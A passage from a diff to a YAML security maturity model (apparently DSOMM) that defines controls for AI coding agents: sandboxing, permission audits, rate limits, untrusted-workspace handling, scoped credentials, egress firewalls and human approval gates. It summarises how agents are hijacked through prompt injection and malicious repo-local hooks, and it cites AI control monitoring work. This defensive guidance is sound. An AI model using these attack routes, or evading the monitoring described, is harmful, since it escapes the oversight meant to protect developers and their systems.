+ audit/non-repudiation (structured audit log with mandatory fields for + the causal chain, correlation identifiers across multi-agent chains, + tamper evidence via hash chaining and write-once storage), + prompt injection prevention and data flow tracking. The framework is + mapped to EU AI Act, GDPR, ISO 42001/27001 and NIST AI RMF. + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: |- + Maturity model for AI systems (v1.0, August 2025) in the style of the + OWASP Software Assurance Maturity Model (SAMM), with eight domains: + responsible AI, governance, data management, privacy, design, + implementation, verification and operations. Each practice defines + three maturity levels with assessment worksheets, usable to assess + and plan the organizational maturity around the AI activities of this + dimension. + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + - uuid: 7c0749f8-080d-46cf-a8bb-4c2f8a2c25f2 + name: Zero Trust for AI Agents + tags: + - ai + - documentation + url: https://claude.com/blog/zero-trust-for-ai-agents + description: |- + Free eBook by Anthropic applying Zero Trust principles (never trust, + always verify; assume breach; least privilege and least agency) to + agentic AI deployments: current threats to agentic systems, three + capability tiers for agent identity, access control, observability, + behavioral monitoring, input and output controls and recovery, an + eight-phase implementation workflow and defensive operations at the + speed of autonomous threats. Introduces the design test "does this + control make the attack impossible, or just tedious?". + references: + samm2: + - O-IM-B-2 + iso27001-2017: + - 16.1.5 + iso27001-2022: + - 5.26 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Automated%20containment%20of%20anomalous%20AI%20agents + comments: "" + Isolation: + Usage of sandboxing for AI agents: + uuid: 4debe8ea-f54a-4a00-a1cb-6fad9e571a88 + description: |- + AI coding assistants and agents execute commands, install dependencies and + run generated code autonomously. Running them in disposable, sandboxed + environments limits the blast radius of malicious or faulty agent behavior. + + Use a sandboxing technology to isolate agent runs, e.g. container-based + isolation (dev containers), lightweight virtual machines or OS-level + sandboxing mechanisms. Mount only the repository being worked on, avoid mounting + credentials (e.g. cloud CLI configuration, SSH keys) and drop unneeded capabilities. + Destroy the environment after the task is finished. Restricting network + egress of the sandbox is addressed by _Network isolation for AI agents_. + risk: |- + An AI agent may be manipulated (e.g. via prompt injection in source code, + issues, dependencies or web content) or may malfunction. Without isolation, + it can read secrets, modify unrelated projects, exfiltrate data or damage + the developer workstation and connected systems. + measure: |- + Run AI agents and AI coding assistants with command execution capabilities in + a dedicated, least-privilege sandbox (e.g. a container or virtual machine) + which contains only the required project files and is destroyed after use. + assessment: | + - Show the sandbox configuration used for AI agent runs (e.g. a dev container definition) and demonstrate a live agent session running inside it. + - Show that only the project working directory is mounted and no credentials (SSH keys, cloud CLI configuration) are reachable from inside the environment. + - Demonstrate that the environment is destroyed after the task is finished. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 4 + level: 1 + tags: + - ai + - isolation + implementation: + - uuid: 0c01a64e-23d1-4c2e-a5c2-d728bcce0689 + name: 'NCC Group: An Introduction to AI Coding Agent Security' + tags: + - ai + - isolation + - permissions + - threat + - documentation + url: https://www.nccgroup.com/media/jtepwx1t/nccgroup_codingagentswhitepaper.pdf + description: |- + Whitepaper analyzing the security of AI coding agents (Claude Code, + Cursor, Codex): permission models and dangerous permission modes, sandbox + implementations and escalations, agent tools, configuration files/hooks + as attack surface, and untrusted/trusted workspace attack vectors. + - uuid: c4f17d85-4e64-45d9-93aa-59fbef85f8d6 + name: 'AI Coding Agent CLI design: Permissions & Sandboxed Execution' + tags: + - ai + - isolation + - permissions + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/safety + description: |- + System-design walkthrough of an AI coding agent CLI (Claude Code / Codex): + permission engine with blast-radius split, allow/deny rules, OS-level + sandbox with default-deny egress, and treating repo content (including + agent memory files) as untrusted data. + - uuid: 1234eb34-0f97-4ef2-ab64-adc3516a4d1e + name: 'OWASP AISVS C09: Orchestration and Agentic Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C09-Orchestration-and-Agentic-Action.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C09: Orchestration and Agentic Security. + - uuid: 16d55730-74d6-47a5-b9bf-e5a5a3d9ed66 + name: 'OWASP AISVS C04: Infrastructure, Configuration and Deployment Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C04-Infrastructure.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C04: Infrastructure, Configuration and Deployment Security. + - uuid: ed6b6340-6c7f-4e13-8937-f560d3f5db11 + name: Container technologies and orchestration like Docker, Kubernetes + tags: [] + url: https://d3fend.mitre.org/dao/artifact/d3f:ContainerOrchestrationSoftware/ + - uuid: 83654ac0-17e0-41fa-ab18-cd3ac23d0efb + name: OpenSandbox + tags: + - ai + - isolation + - container + url: https://github.com/opensandbox-group/OpenSandbox + description: |- + Open-source sandbox platform for AI applications: disposable, isolated + execution environments for coding agents, AI code execution and browser + automation with Docker and Kubernetes runtimes, optional stronger + isolation via gVisor, Kata Containers or Firecracker, network policies + with egress control and credential injection via a credential vault. + Suited for self-hosted, server-side agent execution as part of an AI + application or central agent platform; for isolating locally run coding + agents on developer machines, see Docker Sandboxes. + - uuid: 5f8b58ac-0e16-4c39-a596-2f677e07be4d + name: Docker Sandboxes + tags: + - ai + - isolation + - container + url: https://docs.docker.com/ai/sandboxes/ + description: |- + Runs AI coding agents (e.g. Claude Code) on the developer workstation in + disposable microVM sandboxes via the sbx CLI: each sandbox has its own + Docker daemon, filesystem and network, so agents can install packages and + execute code without touching the host. Supports network, filesystem and + MCP policies, centrally manageable for organizations. Suited for + isolating locally run coding agents on developer machines; for + server-side agent execution on self-hosted infrastructure, see + OpenSandbox. + references: + samm2: + - I-SB-A-2 + iso27001-2017: + - 14.2.6 + iso27001-2022: + - 8.31 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Isolation/subsection/Usage%20of%20sandboxing%20for%20AI%20agents + comments: "" + Permission management for AI agents: + uuid: 4a618049-19da-4e20-b933-81f203ecd4d2 + description: |- + AI coding agents have their own permission model that controls which + tools, commands and file operations they may execute and which actions + are auto-approved (e.g. the allow-list in Claude Code settings). + These grants accumulate over time through convenience approvals and + form the first authorization layer, before any external credential is + involved. + risk: |- + Overly broad "always allow" grants accumulate unnoticed. A manipulated + or malfunctioning agent executes destructive commands, accesses + credential stores or pushes code without any confirmation, because the + permission was granted once and never reviewed. + measure: "Configure agent permissions default-deny if agents are not isolated + (e.g. least privileges with a container): \nrequire confirmation for sensitive + operations (pushes, deletions, network access, credential\npaths), distribute + a hardened baseline configuration to all projects and\naudit the accumulated + allow-lists regularly." + assessment: | + - Show the hardened baseline permission configuration that is distributed to projects. + - Demonstrate that a sensitive operation (e.g. push, deletion, access to credential paths) requires confirmation. + - Show the last audit of accumulated allow-lists including date and findings. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - isolation + implementation: + - uuid: 0c01a64e-23d1-4c2e-a5c2-d728bcce0689 + name: 'NCC Group: An Introduction to AI Coding Agent Security' + tags: + - ai + - isolation + - permissions + - threat + - documentation + url: https://www.nccgroup.com/media/jtepwx1t/nccgroup_codingagentswhitepaper.pdf + description: |- + Whitepaper analyzing the security of AI coding agents (Claude Code, + Cursor, Codex): permission models and dangerous permission modes, sandbox + implementations and escalations, agent tools, configuration files/hooks + as attack surface, and untrusted/trusted workspace attack vectors. + - uuid: c4f17d85-4e64-45d9-93aa-59fbef85f8d6 + name: 'AI Coding Agent CLI design: Permissions & Sandboxed Execution' + tags: + - ai + - isolation + - permissions + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/safety + description: |- + System-design walkthrough of an AI coding agent CLI (Claude Code / Codex): + permission engine with blast-radius split, allow/deny rules, OS-level + sandbox with default-deny egress, and treating repo content (including + agent memory files) as untrusted data. + - uuid: 1234eb34-0f97-4ef2-ab64-adc3516a4d1e + name: 'OWASP AISVS C09: Orchestration and Agentic Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C09-Orchestration-and-Agentic-Action.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C09: Orchestration and Agentic Security. + - uuid: 7d17275d-396b-4002-98af-def5770a2035 + name: GrantGuard + tags: + - ai + - isolation + - permissions + - audit + url: https://github.com/OpenVanta/GrantGuard + description: |- + Audits the accumulated permission allow-list of the Claude Code agent + (user- and project-level settings): classifies grants into risk categories + (e.g. destructive wildcards, credential-store access, unrestricted pushes) + and supports reviewing and removing unsafe permissions. Runs fully local. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 9.2.3 + iso27001-2022: + - 8.2 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Isolation/subsection/Permission%20management%20for%20AI%20agents + comments: "" + Rate limiting and resource budgets for AI systems: + uuid: 64aef733-bfb0-4df4-95de-bcecf668605d + description: |- + Every model call costs compute and money, and AI endpoints answer + expensive requests on demand. Without limits a single user, script or + runaway agent can exhaust the service: availability suffers or the + provider bill explodes ("denial of wallet"), and mass querying of a + model additionally enables extraction of its behavior via + input-output harvesting. Limits apply in both directions: inbound on + exposed AI endpoints (requests per user and time window), outbound + for the organization's own agents (token and cost budgets, iteration + caps against runaway loops). The generic resource limits for + infrastructure are defined in _Virtual environments are limited_ + (Implementation). This activity adds the AI-specific units: + requests, tokens and cost. + risk: |- + An attacker or a buggy client floods an AI endpoint with expensive + requests: the service becomes unavailable for legitimate users or + causes unbounded provider costs. A runaway agent loops at machine + speed and burns budget unnoticed. Unlimited mass querying supports + model extraction and brute-force prompt attacks. + measure: |- + Enforce rate limits per user, API key or tenant on all AI endpoints + and restrict input size before it reaches the model. Set token and + cost budgets per agent, team and time period, with alerts before a + budget is exhausted. Cap agent iterations (maximum tool calls or + recursion depth per task) so runaway loops terminate. An LLM gateway + or proxy centralizes these limits across models and providers. + dependsOn: + - 10e23a8c-22ff-4487-a706-87ccc9d0798e # Monitoring of costs + - 8a442d8e-0eb1-4793-a513-571aef982edd # Alerting + assessment: | + - Show the rate limit configuration of an AI endpoint and a test where the limit triggers. + - Show the token and cost budgets per agent or team and the alert before a budget is exhausted. + - Show the iteration cap of an agent and what happens when it is reached. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - isolation + implementation: + - uuid: 47b4ba95-a6da-4493-94c2-829e9d47b612 + name: LiteLLM Proxy (AI Gateway) + tags: + - ai + - data-protection + - gateway + url: https://github.com/BerriAI/litellm + description: |- + Open-source LLM gateway that routes all model traffic through one proxy + with per-team API keys, audit logging and guardrail hooks (e.g. Presidio + PII masking, secret detection) applied to every request. + - uuid: f38c23e3-adff-43a6-9b72-462f3ffcbad4 + name: TealTiger + tags: + - ai + - guardrails + - gateway + url: https://github.com/agentguard-ai/tealtiger + description: |- + Open-source governance layer that wraps LLM clients in-process and + evaluates deterministic policies before and after every model call: + guardrails (prompt injection, personally identifiable information (PII) + and secret detection), cost budgets per request, session and day with + circuit breakers, behavioral baselines with kill switch, and a + tamper-evident audit trail with correlation identifiers. + - uuid: 672695ce-e62d-4283-8676-ea630f544709 + name: OWASP AI Exchange + tags: + - ai + - documentation + - threat + url: https://owaspai.org/ + description: |- + Comprehensive open-source guidance on AI security: a threat matrix + across the lifecycle (development-time, runtime model use, runtime + infrastructure, supply chain) with matching controls for governance, + input and output handling, monitoring, rate limiting and model + robustness, plus chapters on AI security testing and AI privacy. + Feeds international standardization (ISO/IEC 27090). + - uuid: 13aceaa9-f772-48e6-9134-d9c45650160d + name: OWASP Top 10 for Large Language Model Applications + tags: + - ai + - documentation + - threat + url: https://owasp.org/www-project-top-10-for-large-language-model-applications/ + description: |- + A list of the most critical vulnerabilities of LLM-based applications, e.g. + prompt injection, insecure output handling and excessive agency. A good + baseline for manual AI red teaming. + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 12.1.3 + iso27001-2022: + - 8.6 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Isolation/subsection/Rate%20limiting%20and%20resource%20budgets%20for%20AI%20systems + comments: "" + Untrusted workspace handling for AI agents: + uuid: 859c71b6-110f-40a9-9c98-20e8314ebdb7 + description: |- + Launching an AI coding agent inside a cloned third-party repository + can hand control to the repository author before the user grants any + trust: documented vulnerabilities in several agents (e.g. Claude + Code, Cursor) showed that files under the repository's control + (agent settings, hooks, definitions of Model Context Protocol (MCP) + servers, bundled executables) were already evaluated while the + workspace trust dialog was still unanswered. Even a checkout done + only for a code review can therefore be enough to compromise the + developer workstation. + risk: |- + An attacker publishes a prepared repository; when a developer opens + it with an AI agent, configuration or executables under the + attacker's control run on the developer machine before any trust + decision, with access to credentials and every other project on + that machine. + measure: |- + Treat third-party repositories as untrusted workspaces: open them only + in an isolated container, do not honor repo-local agent configuration + (hooks, MCP servers, settings) of untrusted origin, keep agent versions + patched and never disable workspace trust prompts. + dependsOn: + - 4debe8ea-f54a-4a00-a1cb-6fad9e571a88 # Usage of sandboxing for AI agents + assessment: | + - Show the documented procedure for opening third-party repositories with AI agents. + - Demonstrate that workspace trust prompts are enabled and that repository-local agent configuration (hooks, MCP servers, settings) is not honored for untrusted repositories. + - Show how agent versions are kept patched (update mechanism or policy). + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - isolation + implementation: + - uuid: 0c01a64e-23d1-4c2e-a5c2-d728bcce0689 + name: 'NCC Group: An Introduction to AI Coding Agent Security' + tags: + - ai + - isolation + - permissions + - threat + - documentation + url: https://www.nccgroup.com/media/jtepwx1t/nccgroup_codingagentswhitepaper.pdf + description: |- + Whitepaper analyzing the security of AI coding agents (Claude Code, + Cursor, Codex): permission models and dangerous permission modes, sandbox + implementations and escalations, agent tools, configuration files/hooks + as attack surface, and untrusted/trusted workspace attack vectors. + - uuid: 09d76871-83e2-424e-8210-a9aff332b4aa + name: Claude Code development container reference implementation + tags: + - ai + - isolation + - container + url: https://docs.claude.com/en/docs/claude-code/devcontainer + description: |- + Anthropic's reference devcontainer for running the Claude Code agent in an + isolated container, including an init-firewall.sh script that enforces + default-deny egress with a domain allow-list via iptables/ipset. + - uuid: 5f8b58ac-0e16-4c39-a596-2f677e07be4d + name: Docker Sandboxes + tags: + - ai + - isolation + - container + url: https://docs.docker.com/ai/sandboxes/ + description: |- + Runs AI coding agents (e.g. Claude Code) on the developer workstation in + disposable microVM sandboxes via the sbx CLI: each sandbox has its own + Docker daemon, filesystem and network, so agents can install packages and + execute code without touching the host. Supports network, filesystem and + MCP policies, centrally manageable for organizations. Suited for + isolating locally run coding agents on developer machines; for + server-side agent execution on self-hosted infrastructure, see + OpenSandbox. + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 14.2.6 + iso27001-2022: + - 8.31 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Isolation/subsection/Untrusted%20workspace%20handling%20for%20AI%20agents + comments: "" + Least privilege on external systems for AI agents: + uuid: 45f722b2-25b4-472a-a743-f7207a77b5c9 + description: |- + Beyond their own permission model, AI agents authenticate against + external systems: source code management (e.g. GitHub), CI/CD, cloud + providers and internal APIs. Scoped, short-lived and auditable + credentials ensure an agent can only perform the actions required for + its task on those systems. + risk: |- + AI agents using broadly scoped personal or service credentials can be tricked + into destructive or unauthorized actions (e.g. deleting repositories, approving + their own pull requests, accessing production data). + measure: |- + Provide AI agents with dedicated identities and short-lived, minimally scoped + credentials (e.g. fine-grained access tokens restricted to one repository). + Where supported, keep credentials out of the agent process entirely: a + proxy or gateway injects them at the network boundary ("secretless" + architecture), so a prompt-injected agent cannot exfiltrate what it + never holds. Log and review agent actions separately from human actions. + dependsOn: + - 4a618049-19da-4e20-b933-81f203ecd4d2 # Permission management for AI agents + assessment: | + - Show a dedicated agent identity in the source code management system (or other external system) and the scopes granted to it. + - Show that agent credentials are short-lived and minimally scoped (token configuration or issuance policy). + - Show where agent credentials are stored and injected, preferably outside the agent process (e.g. credential injection at a proxy or gateway). + - Demonstrate that agent actions are distinguishable from human actions in the audit log. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 4 + level: 3 + tags: + - ai + - isolation + implementation: + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: |- + Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for identity, + access and content governance of autonomous AI agents along six axes: + identification (shadow agents), authentication, authorization, + audit/non-repudiation (structured audit log with mandatory fields for + the causal chain, correlation identifiers across multi-agent chains, + tamper evidence via hash chaining and write-once storage), + prompt injection prevention and data flow tracking. The framework is + mapped to EU AI Act, GDPR, ISO 42001/27001 and NIST AI RMF. + - uuid: 181e9b98-7d4f-4fff-9181-9f4c4408022e + name: Anthropic Agent Identity and Access Model + tags: + - ai + - isolation + - permissions + - documentation + url: https://claude.com/blog/agent-identity-access-model + description: |- + Reference architecture for agent identity: agents act under dedicated + workspace-level service accounts instead of user credentials, with scoped + per-channel permissions, credentials injected at the network boundary, + egress blocked to unapproved hosts and every agent action logged under + the agent identity in both platforms' audit logs. + - uuid: 415def4e-8562-45e3-a085-b7edd5eb4317 + name: 'AI Coding Agent CLI design: Background & Cloud Agents' + tags: + - ai + - isolation + - logging + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/cloud + description: |- + System-design walkthrough of headless cloud agents: ephemeral sandboxes + with short-lived single-repo tokens, deny-by-default egress, PR review as + the human gate, anomaly detection and per-tenant retention with secret + redaction. + - uuid: b38adac8-123b-4183-b2b4-428f43b5d519 + name: 'OWASP AISVS C05: Access Control and Identity' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C05-Access-Control-and-Identity.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C05: Access Control and Identity. + - uuid: e3a2ffc8-313f-437e-9663-b24591568209 + name: Hashicorp Vault + tags: + - authentication + - authorization + - secrets + - infrastructure + url: https://github.com/hashicorp/vault + description: | + A tool for secrets management, encryption as a service, and privileged access management. + - uuid: 7c0749f8-080d-46cf-a8bb-4c2f8a2c25f2 + name: Zero Trust for AI Agents + tags: + - ai + - documentation + url: https://claude.com/blog/zero-trust-for-ai-agents + description: |- + Free eBook by Anthropic applying Zero Trust principles (never trust, + always verify; assume breach; least privilege and least agency) to + agentic AI deployments: current threats to agentic systems, three + capability tiers for agent identity, access control, observability, + behavioral monitoring, input and output controls and recovery, an + eight-phase implementation workflow and defensive operations at the + speed of autonomous threats. Introduces the design test "does this + control make the attack impossible, or just tedious?". + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + - uuid: 83654ac0-17e0-41fa-ab18-cd3ac23d0efb + name: OpenSandbox + tags: + - ai + - isolation + - container + url: https://github.com/opensandbox-group/OpenSandbox + description: |- + Open-source sandbox platform for AI applications: disposable, isolated + execution environments for coding agents, AI code execution and browser + automation with Docker and Kubernetes runtimes, optional stronger + isolation via gVisor, Kata Containers or Firecracker, network policies + with egress control and credential injection via a credential vault. + Suited for self-hosted, server-side agent execution as part of an AI + application or central agent platform; for isolating locally run coding + agents on developer machines, see Docker Sandboxes. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 9.2.3 + iso27001-2022: + - 8.2 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Isolation/subsection/Least%20privilege%20on%20external%20systems%20for%20AI%20agents + comments: "" + Network isolation for AI agents: + uuid: 951e6090-057b-4dc4-8b4f-18c6adcfc1ab + description: |- + Restricting the network egress of AI agent environments prevents data + exfiltration and the download of malicious tooling in case an agent is + hijacked through prompt injection. + + Example for a coding agent like Claude Code running in a container: + + 1. **Firewall inside the container**: on container start, an init script + running with the `NET_ADMIN` capability configures a default-deny + egress policy (iptables) and resolves an allow-list of required + domains into an ipset: model API (e.g. `api.anthropic.com`), package + registries (e.g. `registry.npmjs.org`) and the source code management + system. Anthropic's reference devcontainer ships this as + `init-firewall.sh`. The agent process runs as a non-root user + afterwards, so it cannot alter the firewall rules it is confined by. + 2. **Alternative, egress proxy**: attach the container to an internal + network without direct internet access (e.g. + `docker network create --internal`) and route traffic through a + filtering HTTP(S) proxy (`HTTPS_PROXY` environment variable) that + enforces the domain allow-list and logs all requests. In Kubernetes, + enforce the same with NetworkPolicies or a service mesh egress + gateway. + 3. **DNS**: allow DNS only to the internal resolver and only for + allow-listed domains, otherwise blocked domains remain reachable via + direct IP or DNS tunneling can be used for exfiltration. + 4. **Verify**: from inside the running container, check that a request + to an allow-listed endpoint succeeds and a request to an arbitrary + host (e.g. `curl https://example.com`) is blocked. + + Isolation-conscious design pays a double dividend: forcing all agent + traffic through one enforced egress point (firewall or proxy) creates + a monitored bottleneck. Attacks that would otherwise be invisible + must pass through it, which is a high-leverage place for detection + (see the Google DeepMind AI Control Roadmap). + risk: |- + A prompt-injected AI agent can exfiltrate source code, secrets or personal + data to arbitrary hosts, or download and execute attacker-controlled payloads. + measure: |- + Limit network access of AI agent environments to an allow-list of required + endpoints (e.g. model API, package registries, source code management system). + Deny all other egress traffic by default. + dependsOn: + - 4debe8ea-f54a-4a00-a1cb-6fad9e571a88 # Usage of sandboxing for AI agents + assessment: | + - Show the egress policy of the agent environment (firewall init script, proxy configuration or network policies) including the domain allow-list. + - Demonstrate from inside the agent environment that an allow-listed endpoint is reachable and a request to an arbitrary host is blocked. + - Show where blocked egress attempts are logged and who reviews them. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 4 + level: 3 + tags: + - ai + - isolation + implementation: + - uuid: c4f17d85-4e64-45d9-93aa-59fbef85f8d6 + name: 'AI Coding Agent CLI design: Permissions & Sandboxed Execution' + tags: + - ai + - isolation + - permissions + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/safety + description: |- + System-design walkthrough of an AI coding agent CLI (Claude Code / Codex): + permission engine with blast-radius split, allow/deny rules, OS-level + sandbox with default-deny egress, and treating repo content (including + agent memory files) as untrusted data. + - uuid: 1234eb34-0f97-4ef2-ab64-adc3516a4d1e + name: 'OWASP AISVS C09: Orchestration and Agentic Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C09-Orchestration-and-Agentic-Action.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C09: Orchestration and Agentic Security. + - uuid: 16d55730-74d6-47a5-b9bf-e5a5a3d9ed66 + name: 'OWASP AISVS C04: Infrastructure, Configuration and Deployment Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C04-Infrastructure.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C04: Infrastructure, Configuration and Deployment Security. + - uuid: 09d76871-83e2-424e-8210-a9aff332b4aa + name: Claude Code development container reference implementation + tags: + - ai + - isolation + - container + url: https://docs.claude.com/en/docs/claude-code/devcontainer + description: |- + Anthropic's reference devcontainer for running the Claude Code agent in an + isolated container, including an init-firewall.sh script that enforces + default-deny egress with a domain allow-list via iptables/ipset. + - uuid: f2966f4c-38b2-4dbf-95a4-6f0a8fc15ae3 + name: Google DeepMind AI Control Roadmap + tags: + - ai + - monitoring + - threat + - documentation + url: https://storage.googleapis.com/deepmind-media/DeepMind.com/Blog/securing-the-future-of-ai-agents/gdm-ai-control-roadmap.pdf + description: |- + Roadmap for controlling potentially misaligned AI agents. It treats + agents as untrusted principals and layers system-level defences: the + TRAIT&R threat taxonomy (based on MITRE ATT&CK), + action/chain-of-thought monitoring, pull-request monitoring, UEBA + anomaly detection, honeypots and tiered prevention/response up to + shutdown infrastructure. + - uuid: e3c6fb92-3f7d-471f-9308-c62359f4f1b7 + name: firewalls + tags: [] + url: https://d3fend.mitre.org/dao/artifact/d3f:Firewall/ + - uuid: ed6b6340-6c7f-4e13-8937-f560d3f5db11 + name: Container technologies and orchestration like Docker, Kubernetes + tags: [] + url: https://d3fend.mitre.org/dao/artifact/d3f:ContainerOrchestrationSoftware/ + - uuid: 83654ac0-17e0-41fa-ab18-cd3ac23d0efb + name: OpenSandbox + tags: + - ai + - isolation + - container + url: https://github.com/opensandbox-group/OpenSandbox + description: |- + Open-source sandbox platform for AI applications: disposable, isolated + execution environments for coding agents, AI code execution and browser + automation with Docker and Kubernetes runtimes, optional stronger + isolation via gVisor, Kata Containers or Firecracker, network policies + with egress control and credential injection via a credential vault. + Suited for self-hosted, server-side agent execution as part of an AI + application or central agent platform; for isolating locally run coding + agents on developer machines, see Docker Sandboxes. + - uuid: 5f8b58ac-0e16-4c39-a596-2f677e07be4d + name: Docker Sandboxes + tags: + - ai + - isolation + - container + url: https://docs.docker.com/ai/sandboxes/ + description: |- + Runs AI coding agents (e.g. Claude Code) on the developer workstation in + disposable microVM sandboxes via the sbx CLI: each sandbox has its own + Docker daemon, filesystem and network, so agents can install packages and + execute code without touching the host. Supports network, filesystem and + MCP policies, centrally manageable for organizations. Suited for + isolating locally run coding agents on developer machines; for + server-side agent execution on self-hosted infrastructure, see + OpenSandbox. + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 13.1.3 + iso27001-2022: + - 8.22 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Isolation/subsection/Network%20isolation%20for%20AI%20agents + comments: "" + Human approval for irreversible AI agent actions: + uuid: cd1cb2bd-4bd6-4b9f-beaa-921fe9ea9576 + description: |- + Agent actions differ vastly in blast radius: reading data is harmless, + transferring money is not. Graduated human oversight assigns every + class of agent action an approval tier based on its reversibility: + low-risk, reversible actions run autonomously within guardrails; + reversible actions with business impact run under monitoring with an + intervention window; irreversible actions (financial transactions, + permission changes, sharing data with third parties, outbound + communication) require explicit human approval before execution, + high-risk ones by two independent people (four-eyes principle). + Whereas _Permission management for AI agents_ governs the agent's + tool-level permission model, this activity governs the business + actions an agent performs through those tools. It completes the + human-oversight ladder started by the artifact reviews + (_Human review of AI generated specifications_, _Human review of + AI generated plans_, _Human review of AI generated code_ in + Verification): those gate what is built, this activity gates what + a running agent does. + risk: |- + A manipulated (e.g. via prompt injection) or malfunctioning agent + performs an action that cannot be rolled back: money is transferred, + data reaches a third party, an e-mail is sent, permissions are + escalated. After-the-fact monitoring cannot undo it. The opposite + failure mode is rubber-stamping: approvals nobody actually reads + create the appearance of oversight without any. Attackers exploit + this deliberately. A manipulated agent justifies a harmful action + with a fabricated but plausible rationale, and the approver waves + it through because the agent appears competent (automation bias, + see OWASP Top 10 for Agentic Applications, ASI09). + measure: |- + Classify agent action types by reversibility and assign approval + tiers: pre-approval for irreversible actions, monitoring with an + intervention window for reversible actions with business impact + (e.g. buffer outbound messages for a defined period so an + intervention stops delivery), autonomy only for low-risk reversible + actions. If the reversibility of an action class cannot be + demonstrated, default to pre-approval. Require a second, independent + approver for high-risk actions, record the approver identity, the + decision context and the reason in the audit log, and design the + approval step so the approver actually sees the action and its + context instead of clicking through. + dependsOn: + - 4a618049-19da-4e20-b933-81f203ecd4d2 # Permission management for AI agents + - 84ba7525-857e-4849-98ba-5fada1a1454d # Audit logging of AI agent actions + assessment: | + - Show the classification of agent action types by reversibility and the approval tier assigned to each class. + - Demonstrate that an irreversible action (e.g. an outbound message or a permission change) is blocked until a human approves it, and that an intervention within the monitoring window stops a buffered action. + - Show a high-risk action with two documented, independent approvals. + - Show an audit log entry of an approval including approver identity, decision context and reason. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 4 + level: 4 + tags: + - ai + - isolation + - human-approval + implementation: + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: |- + Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for identity, + access and content governance of autonomous AI agents along six axes: + identification (shadow agents), authentication, authorization, + audit/non-repudiation (structured audit log with mandatory fields for + the causal chain, correlation identifiers across multi-agent chains, + tamper evidence via hash chaining and write-once storage), + prompt injection prevention and data flow tracking. The framework is + mapped 